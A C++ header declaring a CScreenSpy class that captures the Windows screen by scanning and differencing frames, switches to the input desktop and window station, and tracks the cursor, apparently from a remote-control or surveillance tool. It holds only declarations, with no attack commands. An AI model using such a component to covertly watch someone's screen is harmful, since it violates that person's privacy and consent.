70 lines
2.0 KiB
C++
70 lines
2.0 KiB
C++
// ScreenSpy.h: interface for the CScreenSpy class.
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//
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//////////////////////////////////////////////////////////////////////
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#if !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
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#define AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_
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#include <windows.h>
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#include "..\Public\CursorInfo.h"
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#if _MSC_VER > 1000
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#pragma once
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#endif // _MSC_VER > 1000
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// 两种算法
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#define ALGORITHM_SCAN 1 // 速度很快，但碎片太多
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#define ALGORITHM_DIFF 2 // 速度很慢，也占CPU，但是数据量都是最小的
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bool SwitchInputDesktop0();
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class CScreenSpy
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{
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public:
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CScreenSpy(int biBitCount= 8, bool bIsGray= false, UINT nMaxFrameRate = 300);
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virtual ~CScreenSpy();
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LPVOID getFirstScreen();
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LPVOID getNextScreen(LPDWORD lpdwBytes);
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void setAlgorithm(UINT nAlgorithm);
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LPBITMAPINFO getBI();
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UINT getBISize();
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UINT getFirstImageSize();
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void setCaptureLayer(bool bIsCaptureLayer);
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private:
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BYTE m_bAlgorithm;
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UINT m_nMaxFrameRate;
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bool m_bIsGray;
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DWORD m_dwBitBltRop;
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DWORD m_dwLastCapture;
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DWORD m_dwSleep;
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LPBYTE m_rectBuffer;
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UINT m_rectBufferOffset;
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BYTE m_nIncSize;
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int m_nFullWidth, m_nFullHeight, m_nStartLine;
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RECT m_changeRect;
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HDC m_hFullDC, m_hLineMemDC, m_hFullMemDC, m_hRectMemDC;
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HBITMAP m_hLineBitmap, m_hFullBitmap;
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LPVOID m_lpvLineBits, m_lpvFullBits;
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LPBITMAPINFO m_lpbmi_line, m_lpbmi_full, m_lpbmi_rect;
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int m_biBitCount;
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int m_nDataSizePerLine;
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static LONG nOldCursorPosX;
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static LONG nOldCursorPosY;
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LPVOID m_lpvDiffBits; // 差异比较的下一张
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HDC m_hDiffDC, m_hDiffMemDC;
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HBITMAP m_hDiffBitmap;
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CCursorInfo m_CursorInfo;
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void ScanScreen(HDC hdcDest, HDC hdcSrc, int nWidth, int nHeight); // 降低CPU
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int Compare(LPBYTE lpSource, LPBYTE lpDest, LPBYTE lpBuffer, DWORD dwSize);
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LPBITMAPINFO ConstructBI(int biBitCount, int biWidth, int biHeight);
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void WriteRectBuffer(LPBYTE lpData, int nCount);
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bool ScanChangedRect(int nStartLine);
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void CopyRect(LPRECT lpRect);
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bool SelectInputWinStation0();
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HWND m_hDeskTopWnd;
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};
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#endif // !defined(AFX_SCREENSPY_H__6600B30F_A7E3_49D4_9DE6_9C35E71CE3EE__INCLUDED_)
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